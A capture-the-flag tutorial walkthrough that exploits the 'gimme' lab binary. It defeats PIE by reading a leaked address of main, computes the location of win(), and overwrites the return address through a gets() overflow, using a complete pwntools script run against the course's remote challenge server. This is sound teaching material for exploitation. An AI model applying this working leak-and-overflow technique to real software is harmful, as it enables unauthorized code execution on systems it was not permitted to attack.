gimme

This binary is the first we've covered thus far that enables PIE. We see this in the `checksec` output:

```
$ checksec gimme
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/06-pie/gimme/src/gimme'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

The only thing that's disabled is the canary. This means that this code is still susceptible to buffer overflows.

Static Analysis

We'll start PIE binaries the same way we start the others. While we search through the binary, we are looking for ways that can leak any address in the binary so that we beat PIE.

We'll start with `win()`. `win()` only makes one call to `system`. We can dissect that the string being passed is *cat flag.txt*, but I'll leave it to the reader to verify this.

The `main()` function only makes a call to `read_in` and then returns.

Now let's discuss the `read_in` function. We can start dissecting each call and the arguments being passed. The first call is to `printf`:

```
   0x565561fe <+21>:    lea    eax,[ebx-0x2dfb]
   0x56556204 <+27>:    push   eax
   0x56556205 <+28>:    lea    eax,[ebx-0x1fc0]
   0x5655620b <+34>:    push   eax
=> 0x5655620c <+35>:    call   0x56556050 <printf@plt>
```

Checking what's at the address pushed addresses:

```
gef➤  x/s $ebx-0x1fc0
0x56557008: "Main function is at: %lx\n"
gef➤  x/wx $ebx-0x2dfb
0x565561cd <main>:  0x83e58955
```

We see that the first call to `printf` is printing the address of `main`. After this, there is a `gets` call to a `0x30` byte buffer.

The Attack Vector

We have everything we need. Our steps are:

1. Leak the address of `main`
2. Use this to register the base address of the binary
3. Calculate the address of `win`
4. Overwrite the return address with the address of `win`

Pwntools helps out with most of this. By loading in the binary using `ELF()`, the offsets will be automatically registered. Once we find the base address, we can register this inside the `ELF` object and then proceed as normal.

We use `libc = elf.libc` to register the libc offsets. This is because we will be using the `system` call from libc. Then, we can call any function using `elf.sym.<function_name>`. When we find the base address, we store it in `elf.address`.

Let's make this happen. We first establish the binary and process:

```
elf = context.binary = ELF('./gimme')
p = remote('vunrotc.cole-ellis.com', 7100)
```

From here, we get the leak. This is the same way we received the leak in location.

```
p.recvuntil(b'at: ')
leak = int(p.recvline().strip(), 16)
```

Once we have the leak, we know that the base address is the leak minus the offset of `main`. We can then register this in the `ELF` object.

```
elf.address = leak - elf.sym.main
```

Now, whenever we use the `elf.sym.<function_name>` syntax, it will automatically add the base address to the offset. Now, we can build our payload using `elf.sym.win` instead of a hardcoded address.

```
payload = b'A' * 0x34
payload += p32(elf.sym.win)
```

Finally, we send the payload and get the flag:

```
p.sendline(payload)
p.interactive()
```

As we can see, PIE is bypassed and the binary is exploited:

```
$ python3 exploit.py
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/06-pie/gimme/src/gimme'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to vunrotc.cole-ellis.com on port 7100: Done
[*] Switching to interactive mode
flag{bye_bye_ms_american_pie}
/home/ctf/runner.sh: line 5:    12 Segmentation fault      (core dumped)
./gimme
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 7100
```